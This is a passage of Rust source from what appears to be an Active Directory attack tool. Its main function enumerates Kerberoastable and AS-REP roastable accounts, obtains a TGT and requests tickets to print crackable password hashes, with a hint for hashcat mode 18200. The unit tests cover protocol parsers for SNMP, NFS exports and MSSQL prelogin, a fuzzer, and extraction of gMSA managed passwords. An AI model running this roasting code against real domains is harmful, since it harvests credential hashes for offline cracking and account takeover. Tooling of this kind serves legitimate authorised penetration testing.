.filter_map(|p| p.strip_prefix("DC="))
.collect::<Vec<_>>()
.join(".")
.to_uppercase();
let (kerberoast, asrep) = adhammer_kerberos::candidates(&snap, &realm);
println!("== Kerberoastable ({}) ==", kerberoast.len());
match &a.kdc {
None => {
for c in &kerberoast {
println!(" {} spn={}", c.sam, c.spn.as_deref().unwrap_or("-"));
}
}
Some(kdc) if !kerberoast.is_empty() => {
match adhammer_kerberos::get_tgt(&a.user, &a.password, &realm, kdc).await {
Err(e) => eprintln!(" TGT acquisition failed: {e}"),
Ok(tgt) => {
for c in &kerberoast {
let spn = c.spn.as_deref().unwrap_or_default();
match adhammer_kerberos::roast_spn(&tgt, &c.sam, spn, kdc).await {
Ok(hash) => println!("{hash}"),
Err(e) => eprintln!(" {}: {e}", c.sam),
}
}
}
}
}
Some(_) => {}
}
println!("== AS-REP roastable ({}) ==", asrep.len());
match &a.kdc {
None => {
for c in &asrep {
println!(" {}", c.sam);
}
if !asrep.is_empty() {
eprintln!("(pass --kdc <host> to fetch hashcat 18200 hashes)");
}
}
Some(kdc) => {
for c in &asrep {
match adhammer_kerberos::asrep_roast(c, kdc).await {
Ok(hash) => println!("{hash}"),
Err(e) => eprintln!(" {}: {e}", c.sam),
}
}
}
}
Ok(())
}
#[cfg(test)]
mod net_tests {
use super::*;
#[test]
fn ber_lengths() {
assert_eq!(ber(0x02, &[0x2a]), vec![0x02, 0x01, 0x2a]);
let long = vec![0u8; 200];
let e = ber(0x04, &long);
assert_eq!(&e[..2], &[0x04, 0x81]); assert_eq!(e[2], 200);
let longer = vec![0u8; 300];
let e2 = ber(0x04, &longer);
assert_eq!(&e2[..2], &[0x04, 0x82]); assert_eq!(u16::from_be_bytes([e2[2], e2[3]]), 300);
}
#[test]
fn rpc_record_marker_last_fragment() {
let f = rpc_frame(&[1, 2, 3, 4]);
assert_eq!(u32::from_be_bytes([f[0], f[1], f[2], f[3]]), 0x8000_0004);
assert_eq!(&f[4..], &[1, 2, 3, 4]);
}
#[test]
fn snmp_extracts_last_octet_string() {
let oid = ber(0x06, &[0x2b, 0x06, 0x01, 0x02, 0x01, 0x01, 0x01, 0x00]);
let val = ber(0x04, b"Linux router 5.10");
let vb = ber_seq(&[ber_seq(&[oid, val].concat())].concat());
let pdu_body = [ber(0x02, &[0x2a]), ber(0x02, &[0]), ber(0x02, &[0]), vb].concat();
let pdu = ber(0xa2, &pdu_body); let msg = ber_seq(&[ber(0x02, &[0]), ber(0x04, b"public"), pdu].concat());
assert_eq!(
snmp_first_octet_string(&msg).as_deref(),
Some("Linux router 5.10")
);
}
#[test]
fn parse_exports_walks_chain() {
fn be(v: u32) -> [u8; 4] {
v.to_be_bytes()
}
let mut body = vec![0u8; 24]; body.extend_from_slice(&be(1));
body.extend_from_slice(&be(5));
body.extend_from_slice(b"/data\0\0\0"); body.extend_from_slice(&be(0)); body.extend_from_slice(&be(1));
body.extend_from_slice(&be(8));
body.extend_from_slice(b"/exports");
body.extend_from_slice(&be(1)); body.extend_from_slice(&be(1));
body.extend_from_slice(b"*\0\0\0");
body.extend_from_slice(&be(0)); body.extend_from_slice(&be(0)); let ex = parse_exports(&body);
assert_eq!(ex, vec!["/data".to_string(), "/exports".to_string()]);
}
struct Rng(u64);
impl Rng {
fn next(&mut self) -> u64 {
self.0 ^= self.0 >> 12;
self.0 ^= self.0 << 25;
self.0 ^= self.0 >> 27;
self.0.wrapping_mul(0x2545_F491_4F6C_DD1D)
}
fn bytes(&mut self, max: usize) -> Vec<u8> {
let n = (self.next() as usize) % (max + 1);
(0..n).map(|_| self.next() as u8).collect()
}
}
fn fuzz<F: Fn(&[u8]) + std::panic::RefUnwindSafe>(name: &str, seeds: &[&[u8]], f: F) {
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(|_| {})); let mut rng = Rng(0x9E37_79B9_7F4A_7C15 ^ name.bytes().map(|b| b as u64).sum::<u64>());
let mut fail = None;
for _ in 0..200_000 {
let mut buf = rng.bytes(320);
if !seeds.is_empty() && rng.next() & 1 == 0 {
let mut s = seeds[(rng.next() as usize) % seeds.len()].to_vec();
for _ in 0..(rng.next() as usize % 8) {
if !s.is_empty() {
let i = (rng.next() as usize) % s.len();
s[i] = rng.next() as u8;
}
}
buf = s;
}
let b = buf.clone();
if std::panic::catch_unwind(|| f(&b)).is_err() {
fail = Some(buf);
break;
}
}
std::panic::set_hook(prev);
if let Some(buf) = fail {
panic!(
"{name} PANICKED on input ({} bytes): {}",
buf.len(),
hex_dump(&buf)
);
}
}
fn hex_dump(b: &[u8]) -> String {
b.iter().map(|x| format!("{x:02x}")).collect()
}
#[test]
fn fuzz_network_parsers() {
let snmp_seed = ber_seq(&[ber(0x02, &[0]), ber(0x04, b"public"), ber(0xa2, &[])].concat());
fuzz("snmp_first_octet_string", &[&snmp_seed], |b| {
let _ = snmp_first_octet_string(b);
});
let mut nfs_seed = vec![0u8; 24];
nfs_seed.extend_from_slice(&[0, 0, 0, 1, 0, 0, 0, 5]);
nfs_seed.extend_from_slice(b"/data\0\0\0");
fuzz("parse_exports", &[&nfs_seed], |b| {
let _ = parse_exports(b);
});
fuzz("parse_prelogin", &[], |b| {
let _ = parse_prelogin(b);
});
}
#[test]
fn managed_password_blob_extracts_current() {
let mut b = vec![1, 0, 0, 0]; b.extend_from_slice(&0u32.to_le_bytes()); b.extend_from_slice(&16u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&[0xAB; 256]); let pw = parse_managed_password_blob(&b).unwrap();
assert_eq!(pw.len(), 256);
assert!(pw.iter().all(|&x| x == 0xAB));
}
#[test]
fn prelogin_reads_version_and_encryption() {
let mut body = vec![
0x00, 0x00, 12, 0x00, 6, 0x01, 0x00, 18, 0x00, 1, 0xff, ];
while body.len() < 12 {
body.push(0);
}
body.extend_from_slice(&[16, 0, 0x03, 0xe8, 0, 0]); body.push(0x03); let (v, e) = parse_prelogin(&body);
assert_eq!(v.as_deref(), Some("16.0.1000"));
assert_eq!(e, Some(0x03));
}
}